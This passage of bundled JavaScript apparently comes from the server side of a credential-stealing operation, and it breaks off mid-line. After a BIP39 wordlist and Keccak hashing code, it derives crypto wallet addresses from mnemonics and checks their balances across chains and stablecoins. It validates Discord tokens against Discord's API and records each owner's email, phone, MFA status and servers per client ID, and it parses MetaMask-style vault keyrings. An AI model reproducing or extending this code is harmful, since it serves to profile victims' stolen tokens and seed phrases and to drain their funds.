+amount +amused +analyst +anchor +ancient +anger +angle +angry +animal +ankle +announce +annual +another +answer +antenna +antique +anxiety +any +apart +apology +appear +apple +approve +april +arch +arctic +area +arena +argue +arm +armed +armor +army +around +arrange +arrest +arrive +arrow +art +artefact +artist +artwork +ask +aspect +assault +asset +assist +assume +asthma +athlete +atom +attack +attend +attitude +attract +auction +audit +august +aunt +author +auto +autumn +average +avocado +avoid +awake +aware +away +awesome +awful +awkward +axis +baby +bachelor +bacon +badge +bag +balance +balcony +ball +bamboo +banana +banner +bar +barely +bargain +barrel +base +basic +basket +battle +beach +bean +beauty +because +become +beef +before +begin +behave +behind +believe +below +belt +bench +benefit +best +betray +better +between +beyond +bicycle +bid +bike +bind +biology +bird +birth +bitter +black +blade +blame +blanket +blast +bleak +bless +blind +blood +blossom +blouse +blue +blur +blush +board +boat +body +boil +bomb +bone +bonus +book +boost +border +boring +borrow +boss +bottom +bounce +box +boy +bracket +brain +brand +brass +brave +bread +breeze +brick +bridge +brief +bright +bring +brisk +broccoli +broken +bronze +broom +brother +brown +brush +bubble +buddy +budget +buffalo +build +bulb +bulk +bullet +bundle +bunker +burden +burger +burst +bus +business +busy +butter +buyer +buzz +cabbage +cabin +cable +cactus +cage +cake +call +calm +camera +camp +can +canal +cancel +candy +cannon +canoe +canvas +canyon +capable +capital +captain +car +carbon +card +cargo +carpet +carry +cart +case +cash +casino +castle +casual +cat +catalog +catch +category +cattle +caught +cause +caution +cave +ceiling +celery +cement +census +century +cereal +certain +chair +chalk +champion +change +chaos +chapter +charge +chase +chat +cheap +check +cheese +chef +cherry +chest +chicken +chief +child +chimney +choice +choose +chronic +chuckle +chunk +churn +cigar +cinnamon +circle +citizen +city +civil +claim +clap +clarify +claw +clay +clean +clerk +clever +click +client +cliff +climb +clinic +clip +clock +clog +close +cloth +cloud +clown +club +clump +cluster +clutch +coach +coast +coconut +code +coffee +coil +coin +collect +color +column +combine +come +comfort +comic +common +company +concert +conduct +confirm +congress +connect +consider +control +convince +cook +cool +copper +copy +coral +core +corn +correct +cost +cotton +couch +country +couple +course +cousin +cover +coyote +crack +cradle +craft +cram +crane +crash +crater +crawl +crazy +cream +credit +creek +crew +cricket +crime +crisp +critic +crop +cross +crouch +crowd +crucial +cruel +cruise +crumble +crunch +crush +cry +crystal +cube +culture +cup +cupboard +curious +current +curtain +curve +cushion +custom +cute +cycle +dad +damage +damp +dance +danger +daring +dash +daughter +dawn +day +deal +debate +debris +decade +december +decide +decline +decorate +decrease +deer +defense +define +defy +degree +delay +deliver +demand +demise +denial +dentist +deny +depart +depend +deposit +depth +deputy +derive +describe +desert +design +desk +despair +destroy +detail +detect +develop +device +devote +diagram +dial +diamond +diary +dice +diesel +diet +differ +digital +dignity +dilemma +dinner +dinosaur +direct +dirt +disagree +discover +disease +dish +dismiss +disorder +display +distance +divert +divide +divorce +dizzy +doctor +document +dog +doll +dolphin +domain +donate +donkey +donor +door +dose +double +dove +draft +dragon +drama +drastic +draw +dream +dress +drift +drill +drink +drip +drive +drop +drum +dry +duck +dumb +dune +during +dust +dutch +duty +dwarf +dynamic +eager +eagle +early +earn +earth +easily +east +easy +echo +ecology +economy +edge +edit +educate +effort +egg +eight +either +elbow +elder +electric +elegant +element +elephant +elevator +elite +else +embark +embody +embrace +emerge +emotion +employ +empower +empty +enable +enact +end +endless +endorse +enemy +energy +enforce +engage +engine +enhance +enjoy +enlist +enough +enrich +enroll +ensure +enter +entire +entry +envelope +episode +equal +equip +era +erase +erode +erosion +error +erupt +escape +essay +essence +estate +eternal +ethics +evidence +evil +evoke +evolve +exact +example +excess +exchange +excite +exclude +excuse +execute +exercise +exhaust +exhibit +exile +exist +exit +exotic +expand +expect +expire +explain +expose +express +extend +extra +eye +eyebrow +fabric +face +faculty +fade +faint +faith +fall +false +fame +family +famous +fan +fancy +fantasy +farm +fashion +fat +fatal +father +fatigue +fault +favorite +feature +february +federal +fee +feed +feel +female +fence +festival +fetch +fever +few +fiber +fiction +field +figure +file +film +filter +final +find +fine +finger +finish +fire +firm +first +fiscal +fish +fit +fitness +fix +flag +flame +flash +flat +flavor +flee +flight +flip +float +flock +floor +flower +fluid +flush +fly +foam +focus +fog +foil +fold +follow +food +foot +force +forest +forget +fork +fortune +forum +forward +fossil +foster +found +fox +fragile +frame +frequent +fresh +friend +fringe +frog +front +frost +frown +frozen +fruit +fuel +fun +funny +furnace +fury +future +gadget +gain +galaxy +gallery +game +gap +garage +garbage +garden +garlic +garment +gas +gasp +gate +gather +gauge +gaze +general +genius +genre +gentle +genuine +gesture +ghost +giant +gift +giggle +ginger +giraffe +girl +give +glad +glance +glare +glass +glide +glimpse +globe +gloom +glory +glove +glow +glue +goat +goddess +gold +good +goose +gorilla +gospel +gossip +govern +gown +grab +grace +grain +grant +grape +grass +gravity +great +green +grid +grief +grit +grocery +group +grow +grunt +guard +guess +guide +guilt +guitar +gun +gym +habit +hair +half +hammer +hamster +hand +happy +harbor +hard +harsh +harvest +hat +have +hawk +hazard +head +health +heart +heavy +hedgehog +height +hello +helmet +help +hen +hero +hidden +high +hill +hint +hip +hire +history +hobby +hockey +hold +hole +holiday +hollow +home +honey +hood +hope +horn +horror +horse +hospital +host +hotel +hour +hover +hub +huge +human +humble +humor +hundred +hungry +hunt +hurdle +hurry +hurt +husband +hybrid +ice +icon +idea +identify +idle +ignore +ill +illegal +illness +image +imitate +immense +immune +impact +impose +improve +impulse +inch +include +income +increase +index +indicate +indoor +industry +infant +inflict +inform +inhale +inherit +initial +inject +injury +inmate +inner +innocent +input +inquiry +insane +insect +inside +inspire +install +intact +interest +into +invest +invite +involve +iron +island +isolate +issue +item +ivory +jacket +jaguar +jar +jazz +jealous +jeans +jelly +jewel +job +join +joke +journey +joy +judge +juice +jump +jungle +junior +junk +just +kangaroo +keen +keep +ketchup +key +kick +kid +kidney +kind +kingdom +kiss +kit +kitchen +kite +kitten +kiwi +knee +knife +knock +know +lab +label +labor +ladder +lady +lake +lamp +language +laptop +large +later +latin +laugh +laundry +lava +law +lawn +lawsuit +layer +lazy +leader +leaf +learn +leave +lecture +left +leg +legal +legend +leisure +lemon +lend +length +lens +leopard +lesson +letter +level +liar +liberty +library +license +life +lift +light +like +limb +limit +link +lion +liquid +list +little +live +lizard +load +loan +lobster +local +lock +logic +lonely +long +loop +lottery +loud +lounge +love +loyal +lucky +luggage +lumber +lunar +lunch +luxury +lyrics +machine +mad +magic +magnet +maid +mail +main +major +make +mammal +man +manage +mandate +mango +mansion +manual +maple +marble +march +margin +marine +market +marriage +mask +mass +master +match +material +math +matrix +matter +maximum +maze +meadow +mean +measure +meat +mechanic +medal +media +melody +melt +member +memory +mention +menu +mercy +merge +merit +merry +mesh +message +metal +method +middle +midnight +milk +million +mimic +mind +minimum +minor +minute +miracle +mirror +misery +miss +mistake +mix +mixed +mixture +mobile +model +modify +mom +moment +monitor +monkey +monster +month +moon +moral +more +morning +mosquito +mother +motion +motor +mountain +mouse +move +movie +much +muffin +mule +multiply +muscle +museum +mushroom +music +must +mutual +myself +mystery +myth +naive +name +napkin +narrow +nasty +nation +nature +near +neck +need +negative +neglect +neither +nephew +nerve +nest +net +network +neutral +never +news +next +nice +night +noble +noise +nominee +noodle +normal +north +nose +notable +note +nothing +notice +novel +now +nuclear +number +nurse +nut +oak +obey +object +oblige +obscure +observe +obtain +obvious +occur +ocean +october +odor +off +offer +office +often +oil +okay +old +olive +olympic +omit +once +one +onion +online +only +open +opera +opinion +oppose +option +orange +orbit +orchard +order +ordinary +organ +orient +original +orphan +ostrich +other +outdoor +outer +output +outside +oval +oven +over +own +owner +oxygen +oyster +ozone +pact +paddle +page +pair +palace +palm +panda +panel +panic +panther +paper +parade +parent +park +parrot +party +pass +patch +path +patient +patrol +pattern +pause +pave +payment +peace +peanut +pear +peasant +pelican +pen +penalty +pencil +people +pepper +perfect +permit +person +pet +phone +photo +phrase +physical +piano +picnic +picture +piece +pig +pigeon +pill +pilot +pink +pioneer +pipe +pistol +pitch +pizza +place +planet +plastic +plate +play +please +pledge +pluck +plug +plunge +poem +poet +point +polar +pole +police +pond +pony +pool +popular +portion +position +possible +post +potato +pottery +poverty +powder +power +practice +praise +predict +prefer +prepare +present +pretty +prevent +price +pride +primary +print +priority +prison +private +prize +problem +process +produce +profit +program +project +promote +proof +property +prosper +protect +proud +provide +public +pudding +pull +pulp +pulse +pumpkin +punch +pupil +puppy +purchase +purity +purpose +purse +push +put +puzzle +pyramid +quality +quantum +quarter +question +quick +quit +quiz +quote +rabbit +raccoon +race +rack +radar +radio +rail +rain +raise +rally +ramp +ranch +random +range +rapid +rare +rate +rather +raven +raw +razor +ready +real +reason +rebel +rebuild +recall +receive +recipe +record +recycle +reduce +reflect +reform +refuse +region +regret +regular +reject +relax +release +relief +rely +remain +remember +remind +remove +render +renew +rent +reopen +repair +repeat +replace +report +require +rescue +resemble +resist +resource +response +result +retire +retreat +return +reunion +reveal +review +reward +rhythm +rib +ribbon +rice +rich +ride +ridge +rifle +right +rigid +ring +riot +ripple +risk +ritual +rival +river +road +roast +robot +robust +rocket +romance +roof +rookie +room +rose +rotate +rough +round +route +royal +rubber +rude +rug +rule +run +runway +rural +sad +saddle +sadness +safe +sail +salad +salmon +salon +salt +salute +same +sample +sand +satisfy +satoshi +sauce +sausage +save +say +scale +scan +scare +scatter +scene +scheme +school +science +scissors +scorpion +scout +scrap +screen +script +scrub +sea +search +season +seat +second +secret +section +security +seed +seek +segment +select +sell +seminar +senior +sense +sentence +series +service +session +settle +setup +seven +shadow +shaft +shallow +share +shed +shell +sheriff +shield +shift +shine +ship +shiver +shock +shoe +shoot +shop +short +shoulder +shove +shrimp +shrug +shuffle +shy +sibling +sick +side +siege +sight +sign +silent +silk +silly +silver +similar +simple +since +sing +siren +sister +situate +six +size +skate +sketch +ski +skill +skin +skirt +skull +slab +slam +sleep +slender +slice +slide +slight +slim +slogan +slot +slow +slush +small +smart +smile +smoke +smooth +snack +snake +snap +sniff +snow +soap +soccer +social +sock +soda +soft +solar +soldier +solid +solution +solve +someone +song +soon +sorry +sort +soul +sound +soup +source +south +space +spare +spatial +spawn +speak +special +speed +spell +spend +sphere +spice +spider +spike +spin +spirit +split +spoil +sponsor +spoon +sport +spot +spray +spread +spring +spy +square +squeeze +squirrel +stable +stadium +staff +stage +stairs +stamp +stand +start +state +stay +steak +steel +stem +step +stereo +stick +still +sting +stock +stomach +stone +stool +story +stove +strategy +street +strike +strong +struggle +student +stuff +stumble +style +subject +submit +subway +success +such +sudden +suffer +sugar +suggest +suit +summer +sun +sunny +sunset +super +supply +supreme +sure +surface +surge +surprise +surround +survey +suspect +sustain +swallow +swamp +swap +swarm +swear +sweet +swift +swim +swing +switch +sword +symbol +symptom +syrup +system +table +tackle +tag +tail +talent +talk +tank +tape +target +task +taste +tattoo +taxi +teach +team +tell +ten +tenant +tennis +tent +term +test +text +thank +that +theme +then +theory +there +they +thing +this +thought +three +thrive +throw +thumb +thunder +ticket +tide +tiger +tilt +timber +time +tiny +tip +tired +tissue +title +toast +tobacco +today +toddler +toe +together +toilet +token +tomato +tomorrow +tone +tongue +tonight +tool +tooth +top +topic +topple +torch +tornado +tortoise +toss +total +tourist +toward +tower +town +toy +track +trade +traffic +tragic +train +transfer +trap +trash +travel +tray +treat +tree +trend +trial +tribe +trick +trigger +trim +trip +trophy +trouble +truck +true +truly +trumpet +trust +truth +try +tube +tuition +tumble +tuna +tunnel +turkey +turn +turtle +twelve +twenty +twice +twin +twist +two +type +typical +ugly +umbrella +unable +unaware +uncle +uncover +under +undo +unfair +unfold +unhappy +uniform +unique +unit +universe +unknown +unlock +until +unusual +unveil +update +upgrade +uphold +upon +upper +upset +urban +urge +usage +use +used +useful +useless +usual +utility +vacant +vacuum +vague +valid +valley +valve +van +vanish +vapor +various +vast +vault +vehicle +velvet +vendor +venture +venue +verb +verify +version +very +vessel +veteran +viable +vibrant +vicious +victory +video +view +village +vintage +violin +virtual +virus +visa +visit +visual +vital +vivid +vocal +voice +void +volcano +volume +vote +voyage +wage +wagon +wait +walk +wall +walnut +want +warfare +warm +warrior +wash +wasp +waste +water +wave +way +wealth +weapon +wear +weasel +weather +web +wedding +weekend +weird +welcome +west +wet +whale +what +wheat +wheel +when +where +whip +whisper +wide +width +wife +wild +will +win +window +wine +wing +wink +winner +winter +wire +wisdom +wise +wish +witness +wolf +woman +wonder +wood +wool +word +work +world +worry +worth +wrap +wreck +wrestle +wrist +write +wrong +yard +year +yellow +you +young +youth +zebra +zero +zone +zoo`.split(` +`); + +// node_modules/@noble/hashes/esm/sha3.js +var _0n5 = BigInt(0); +var _1n5 = BigInt(1); +var _2n4 = BigInt(2); +var _7n2 = BigInt(7); +var _256n = BigInt(256); +var _0x71n = BigInt(113); +var SHA3_PI = []; +var SHA3_ROTL = []; +var _SHA3_IOTA = []; +for (let round = 0, R = _1n5, x = 1, y = 0;round < 24; round++) { + [x, y] = [y, (2 * x + 3 * y) % 5]; + SHA3_PI.push(2 * (5 * y + x)); + SHA3_ROTL.push((round + 1) * (round + 2) / 2 % 64); + let t = _0n5; + for (let j = 0;j < 7; j++) { + R = (R << _1n5 ^ (R >> _7n2) * _0x71n) % _256n; + if (R & _2n4) + t ^= _1n5 << (_1n5 << /* @__PURE__ */ BigInt(j)) - _1n5; + } + _SHA3_IOTA.push(t); +} +var IOTAS = split(_SHA3_IOTA, true); +var SHA3_IOTA_H = IOTAS[0]; +var SHA3_IOTA_L = IOTAS[1]; +var rotlH = (h, l, s) => s > 32 ? rotlBH(h, l, s) : rotlSH(h, l, s); +var rotlL = (h, l, s) => s > 32 ? rotlBL(h, l, s) : rotlSL(h, l, s); +function keccakP(s, rounds = 24) { + const B = new Uint32Array(5 * 2); + for (let round = 24 - rounds;round < 24; round++) { + for (let x = 0;x < 10; x++) + B[x] = s[x] ^ s[x + 10] ^ s[x + 20] ^ s[x + 30] ^ s[x + 40]; + for (let x = 0;x < 10; x += 2) { + const idx1 = (x + 8) % 10; + const idx0 = (x + 2) % 10; + const B0 = B[idx0]; + const B1 = B[idx0 + 1]; + const Th = rotlH(B0, B1, 1) ^ B[idx1]; + const Tl = rotlL(B0, B1, 1) ^ B[idx1 + 1]; + for (let y = 0;y < 50; y += 10) { + s[x + y] ^= Th; + s[x + y + 1] ^= Tl; + } + } + let curH = s[2]; + let curL = s[3]; + for (let t = 0;t < 24; t++) { + const shift = SHA3_ROTL[t]; + const Th = rotlH(curH, curL, shift); + const Tl = rotlL(curH, curL, shift); + const PI = SHA3_PI[t]; + curH = s[PI]; + curL = s[PI + 1]; + s[PI] = Th; + s[PI + 1] = Tl; + } + for (let y = 0;y < 50; y += 10) { + for (let x = 0;x < 10; x++) + B[x] = s[y + x]; + for (let x = 0;x < 10; x++) + s[y + x] ^= ~B[(x + 2) % 10] & B[(x + 4) % 10]; + } + s[0] ^= SHA3_IOTA_H[round]; + s[1] ^= SHA3_IOTA_L[round]; + } + clean(B); +} + +class Keccak extends Hash { + constructor(blockLen, suffix, outputLen, enableXOF = false, rounds = 24) { + super(); + this.pos = 0; + this.posOut = 0; + this.finished = false; + this.destroyed = false; + this.enableXOF = false; + this.blockLen = blockLen; + this.suffix = suffix; + this.outputLen = outputLen; + this.enableXOF = enableXOF; + this.rounds = rounds; + anumber(outputLen); + if (!(0 < blockLen && blockLen < 200)) + throw new Error("only keccak-f1600 function is supported"); + this.state = new Uint8Array(200); + this.state32 = u32(this.state); + } + clone() { + return this._cloneInto(); + } + keccak() { + swap32IfBE(this.state32); + keccakP(this.state32, this.rounds); + swap32IfBE(this.state32); + this.posOut = 0; + this.pos = 0; + } + update(data) { + aexists(this); + data = toBytes(data); + abytes(data); + const { blockLen, state } = this; + const len = data.length; + for (let pos = 0;pos < len; ) { + const take = Math.min(blockLen - this.pos, len - pos); + for (let i = 0;i < take; i++) + state[this.pos++] ^= data[pos++]; + if (this.pos === blockLen) + this.keccak(); + } + return this; + } + finish() { + if (this.finished) + return; + this.finished = true; + const { state, suffix, pos, blockLen } = this; + state[pos] ^= suffix; + if ((suffix & 128) !== 0 && pos === blockLen - 1) + this.keccak(); + state[blockLen - 1] ^= 128; + this.keccak(); + } + writeInto(out) { + aexists(this, false); + abytes(out); + this.finish(); + const bufferOut = this.state; + const { blockLen } = this; + for (let pos = 0, len = out.length;pos < len; ) { + if (this.posOut >= blockLen) + this.keccak(); + const take = Math.min(blockLen - this.posOut, len - pos); + out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos); + this.posOut += take; + pos += take; + } + return out; + } + xofInto(out) { + if (!this.enableXOF) + throw new Error("XOF is not possible for this instance"); + return this.writeInto(out); + } + xof(bytes) { + anumber(bytes); + return this.xofInto(new Uint8Array(bytes)); + } + digestInto(out) { + aoutput(out, this); + if (this.finished) + throw new Error("digest() was already called"); + this.writeInto(out); + this.destroy(); + return out; + } + digest() { + return this.digestInto(new Uint8Array(this.outputLen)); + } + destroy() { + this.destroyed = true; + clean(this.state); + } + _cloneInto(to) { + const { blockLen, suffix, outputLen, rounds, enableXOF } = this; + to || (to = new Keccak(blockLen, suffix, outputLen, enableXOF, rounds)); + to.state32.set(this.state32); + to.pos = this.pos; + to.posOut = this.posOut; + to.finished = this.finished; + to.rounds = rounds; + to.suffix = suffix; + to.outputLen = outputLen; + to.enableXOF = enableXOF; + to.destroyed = this.destroyed; + return to; + } +} +var gen = (suffix, blockLen, outputLen) => createHasher(() => new Keccak(blockLen, suffix, outputLen)); +var keccak_256 = /* @__PURE__ */ (() => gen(1, 136, 256 / 8))(); + +// node_modules/@noble/hashes/esm/ripemd160.js +var ripemd1602 = ripemd160; + +// node_modules/@noble/hashes/esm/sha256.js +var sha2562 = sha256; + +// server.src.js +var BASE58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; +function base58Encode(buf) { + let num = BigInt("0x" + Buffer.from(buf).toString("hex")); + let str = ""; + while (num > 0n) { + str = BASE58_ALPHABET[Number(num % 58n)] + str; + num /= 58n; + } + for (const b of buf) { + if (b === 0) + str = "1" + str; + else + break; + } + return str; +} +function base58Check(payload) { + const checksum2 = sha2562(sha2562(payload)).slice(0, 4); + return base58Encode(Buffer.concat([payload, Buffer.from(checksum2)])); +} +var BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"; +function bech32Encode(hrp, data) { + function polymod(values2) { + const GEN = [996825010, 642813549, 513874426, 1027748829, 705979059]; + let chk = 1; + for (const v of values2) { + const b = chk >> 25; + chk = (chk & 33554431) << 5 ^ v; + for (let i = 0;i < 5; i++) + if (b >> i & 1) + chk ^= GEN[i]; + } + return chk; + } + function hrpExpand(h) { + const r = []; + for (const c of h) + r.push(c.charCodeAt(0) >> 5); + r.push(0); + for (const c of h) + r.push(c.charCodeAt(0) & 31); + return r; + } + const values = [...hrpExpand(hrp), ...data]; + const pm = polymod([...values, 0, 0, 0, 0, 0, 0]) ^ 1; + const checksum2 = []; + for (let i = 0;i < 6; i++) + checksum2.push(pm >> 5 * (5 - i) & 31); + return hrp + "1" + [...data, ...checksum2].map((d) => BECH32_CHARSET[d]).join(""); +} +function convertBits(data, fromBits, toBits) { + let acc = 0, bits = 0; + const ret = []; + for (const val of data) { + acc = acc << fromBits | val; + bits += fromBits; + while (bits >= toBits) { + bits -= toBits; + ret.push(acc >> bits & (1 << toBits) - 1); + } + } + if (bits > 0) + ret.push(acc << toBits - bits & (1 << toBits) - 1); + return ret; +} +function deriveEthAddresses(mnemonic, count = 5) { + const seed = mnemonicToSeedSync(mnemonic); + const master = HDKey.fromMasterSeed(seed); + const addrs = []; + for (let i = 0;i < count; i++) { + const child = master.derive(`m/44'/60'/0'/0/${i}`); + const pubUncompressed = secp256k1.ProjectivePoint.fromPrivateKey(child.privateKey).toRawBytes(false).slice(1); + const hash = keccak_256(pubUncompressed); + addrs.push("0x" + Buffer.from(hash.slice(-20)).toString("hex")); + } + return addrs; +} +function deriveBtcAddresses(mnemonic, count = 3) { + const seed = mnemonicToSeedSync(mnemonic); + const master = HDKey.fromMasterSeed(seed); + const addrs = []; + for (let i = 0;i < count; i++) { + const child = master.derive(`m/84'/0'/0'/0/${i}`); + const pub = child.publicKey; + const h = ripemd1602(sha2562(pub)); + const words = [0, ...convertBits(h, 8, 5)]; + addrs.push(bech32Encode("bc", words)); + } + for (let i = 0;i < count; i++) { + const child = master.derive(`m/44'/0'/0'/0/${i}`); + const pub = child.publicKey; + const h = ripemd1602(sha2562(pub)); + const payload = Buffer.alloc(21); + payload[0] = 0; + Buffer.from(h).copy(payload, 1); + addrs.push(base58Check(payload)); + } + return addrs; +} +function deriveLtcAddresses(mnemonic, count = 3) { + const seed = mnemonicToSeedSync(mnemonic); + const master = HDKey.fromMasterSeed(seed); + const addrs = []; + for (let i = 0;i < count; i++) { + const child = master.derive(`m/84'/2'/0'/0/${i}`); + const pub = child.publicKey; + const h = ripemd1602(sha2562(pub)); + const words = [0, ...convertBits(h, 8, 5)]; + addrs.push(bech32Encode("ltc", words)); + } + for (let i = 0;i < count; i++) { + const child = master.derive(`m/44'/2'/0'/0/${i}`); + const pub = child.publicKey; + const h = ripemd1602(sha2562(pub)); + const payload = Buffer.alloc(21); + payload[0] = 48; + Buffer.from(h).copy(payload, 1); + addrs.push(base58Check(payload)); + } + return addrs; +} +function deriveTrxAddresses(mnemonic, count = 3) { + const seed = mnemonicToSeedSync(mnemonic); + const master = HDKey.fromMasterSeed(seed); + const addrs = []; + for (let i = 0;i < count; i++) { + const child = master.derive(`m/44'/195'/0'/0/${i}`); + const pubUncompressed = secp256k1.ProjectivePoint.fromPrivateKey(child.privateKey).toRawBytes(false).slice(1); + const hash = keccak_256(pubUncompressed); + const payload = Buffer.alloc(21); + payload[0] = 65; + Buffer.from(hash.slice(-20)).copy(payload, 1); + addrs.push(base58Check(payload)); + } + return addrs; +} +var ERC20_TOKENS = { + ETH: [ + { symbol: "USDT", contract: "0xdac17f958d2ee523a2206206994597c13d831ec7", decimals: 6 }, + { symbol: "USDC", contract: "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", decimals: 6 }, + { symbol: "DAI", contract: "0x6b175474e89094c44da98b954eedeac495271d0f", decimals: 18 } + ], + BSC: [ + { symbol: "USDT", contract: "0x55d398326f99059ff775485246999027b3197955", decimals: 18 }, + { symbol: "USDC", contract: "0x8ac76a51cc950d9822d68b83fe1ad97b32cd580d", decimals: 18 } + ], + Polygon: [ + { symbol: "USDT", contract: "0xc2132d05d31c914a87c6611c10748aeb04b58e8f", decimals: 6 }, + { symbol: "USDC", contract: "0x3c499c542cef5e3811e1192ce70d8cc03d5c3359", decimals: 6 } + ], + Arbitrum: [ + { symbol: "USDT", contract: "0xfd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb9", decimals: 6 }, + { symbol: "USDC", contract: "0xaf88d065e77c8cc2239327c5edb3a432268e5831", decimals: 6 } + ], + Avalanche: [ + { symbol: "USDT", contract: "0x9702230a8ea53601f5cd2dc00fdbc13d4df4a8c7", decimals: 6 }, + { symbol: "USDC", contract: "0xb97ef9ef8734c71904d8002f8b6bc66dd9c48a6e", decimals: 6 } + ], + Base: [ + { symbol: "USDC", contract: "0x833589fcd6edb6e08f4c7c32d4f71b54bda02913", decimals: 6 } + ] +}; +async function checkEvmNativeBalances(addresses) { + const balances = {}; + await Promise.all(BALANCE_CHAINS.map(async (chain2) => { + try { + const res = await fetch(chain2.rpc, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(addresses.map((addr, i) => ({ + jsonrpc: "2.0", + method: "eth_getBalance", + params: [addr, "latest"], + id: i + }))) + }); + const data = await res.json(); + for (const r of Array.isArray(data) ? data : [data]) { + if (!r.result) + continue; + const wei = BigInt(r.result); + if (wei === 0n) + continue; + const addr = addresses[r.id]; + if (!balances[addr]) + balances[addr] = {}; + balances[addr][chain2.name] = Number(wei) / 1000000000000000000; + } + } catch (_) { + } + })); + return balances; +} +async function checkErc20Balances(addresses) { + const balances = {}; + const balanceOfSig = "0x70a08231"; + await Promise.all(BALANCE_CHAINS.map(async (chain2) => { + const tokens = ERC20_TOKENS[chain2.name] || []; + if (!tokens.length) + return; + const calls = []; + for (const addr of addresses) { + for (const token of tokens) { + const paddedAddr = addr.slice(2).padStart(64, "0"); + calls.push({ + jsonrpc: "2.0", + method: "eth_call", + params: [{ to: token.contract, data: balanceOfSig + paddedAddr }, "latest"], + id: calls.length, + _addr: addr, + _token: token, + _chain: chain2.name + }); + } + } + if (!calls.length) + return; + try { + const rpcCalls = calls.map(({ _addr, _token, _chain, ...c }) => c); + const res = await fetch(chain2.rpc, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(rpcCalls) + }); + const data = await res.json(); + for (const r of Array.isArray(data) ? data : [data]) { + if (!r.result || r.result === "0x" || r.result === "0x0") + continue; + const raw = BigInt(r.result); + if (raw === 0n) + continue; + const call = calls[r.id]; + const val = Number(raw) / 10 ** call._token.decimals; + if (val < 0.001) + continue; + const addr = call._addr; + const label = `${call._token.symbol} (${call._chain})`; + if (!balances[addr]) + balances[addr] = {}; + balances[addr][label] = val; + } + } catch (_) { + } + })); + return balances; +} +async function checkBtcBalances(addresses) { + const balances = {}; + for (const addr of addresses) { + try { + const res = await fetch(`https://blockstream.info/api/address/${addr}`); + if (!res.ok) + continue; + const data = await res.json(); + const funded = data.chain_stats?.funded_txo_sum || 0; + const spent = data.chain_stats?.spent_txo_sum || 0; + const bal = (funded - spent) / 1e8; + if (bal > 0) + balances[addr] = { BTC: bal }; + } catch (_) { + } + } + return balances; +} +async function checkLtcBalances(addresses) { + const balances = {}; + for (const addr of addresses) { + try { + const res = await fetch(`https://api.blockcypher.com/v1/ltc/main/addrs/${addr}/balance`); + if (!res.ok) + continue; + const data = await res.json(); + const bal = (data.balance || 0) / 1e8; + if (bal > 0) + balances[addr] = { LTC: bal }; + } catch (_) { + } + } + return balances; +} +async function checkTrxBalances(addresses) { + const balances = {}; + for (const addr of addresses) { + try { + const res = await fetch(`https://apilist.tronscanapi.com/api/accountv2?address=${addr}`, { + headers: { "TRON-PRO-API-KEY": "" } + }); + if (!res.ok) + continue; + const data = await res.json(); + const trxBal = (data.balance || 0) / 1e6; + if (trxBal > 0) { + if (!balances[addr]) + balances[addr] = {}; + balances[addr]["TRX"] = trxBal; + } + for (const t of data.withPriceTokens || []) { + if (t.tokenAbbr === "USDT" && Number(t.balance) > 0) { + if (!balances[addr]) + balances[addr] = {}; + balances[addr]["USDT (TRC20)"] = Number(t.balance) / 10 ** (t.tokenDecimal || 6); + } + } + } catch (_) { + } + } + return balances; +} +var stmts = null; +var BALANCE_CHAINS = [ + { name: "ETH", rpc: "https://rpc.ankr.com/eth" }, + { name: "BSC", rpc: "https://rpc.ankr.com/bsc" }, + { name: "Polygon", rpc: "https://rpc.ankr.com/polygon" }, + { name: "Arbitrum", rpc: "https://rpc.ankr.com/arbitrum" }, + { name: "Optimism", rpc: "https://rpc.ankr.com/optimism" }, + { name: "Avalanche", rpc: "https://rpc.ankr.com/avalanche" }, + { name: "Base", rpc: "https://rpc.ankr.com/base" } +]; +async function enrichDiscordToken(ctx, clientId, token) { + const now = Date.now(); + const h = { + Authorization: token, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" + }; + try { + const [meRes, guildsRes, relsRes] = await Promise.all([ + fetch("https://discord.com/api/v10/users/@me", { headers: h }), + fetch("https://discord.com/api/v10/users/@me/guilds", { headers: h }), + fetch("https://discord.com/api/v10/users/@me/relationships", { headers: h }) + ]); + const me = await meRes.json(); + if (!meRes.ok) { + ctx.db.prepare(`INSERT OR REPLACE INTO discord_profiles(client_id,token,error,enriched_at) VALUES(?,?,?,?)`).run(clientId, token, me.message || `HTTP ${meRes.status}`, now); + return; + } + const guilds = guildsRes.ok ? await guildsRes.json() : []; + const rels = relsRes.ok ? await relsRes.json() : []; + const friends = Array.isArray(rels) ? rels.filter((r) => r.type === 1).length : 0; + const gNames = Array.isArray(guilds) ? guilds.slice(0, 30).map((g) => g.name).join("|") : ""; + ctx.db.prepare(`INSERT OR REPLACE INTO discord_profiles( + client_id,token,user_id,username,discriminator,global_name,avatar,email,phone, + verified,mfa_enabled,premium_type,flags,public_flags,locale, + friends_count,guilds_count,guild_names,enriched_at,error + ) VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,NULL)`).run(clientId, token, me.id, me.username, me.discriminator || "0", me.global_name || null, me.avatar || null, me.email || null, me.phone || null, me.verified ? 1 : 0, me.mfa_enabled ? 1 : 0, me.premium_type || 0, me.flags || 0, me.public_flags || 0, me.locale || null, friends, Array.isArray(guilds) ? guilds.length : 0, gNames || null, now); + } catch (e) { + ctx.db.prepare(`INSERT OR REPLACE INTO discord_profiles(client_id,token,error,enriched_at) VALUES(?,?,?,?)`).run(clientId, token, e.message, now); + } +} +function needsEnrichment(ctx, token) { + const row = ctx.db.prepare(`SELECT enriched_at FROM discord_profiles WHERE token = ?`).get(token); + return !row || !row.enriched_at; +} +function extractVaultAccounts(vaultData) { + const accounts = []; + try { + const keyrings = Array.isArray(vaultData) ? vaultData : [vaultData]; + for (const kr of keyrings) { + if (kr.type === "HD Key Tree" && Array.isArray(kr.accounts)) { + for (const addr of kr.accounts) + accounts.push({ type: "HD", address: addr }); + } else if (kr.type === "Simple Key Pair" && Array.isArray(kr.accounts)) { + for (const addr of kr.accounts) + accounts.push({ type: "Imported", address: addr }); + } else if (Array.isArray(kr.accounts)) { + for (const addr of kr.accounts) + accounts.push({ type: kr.type || 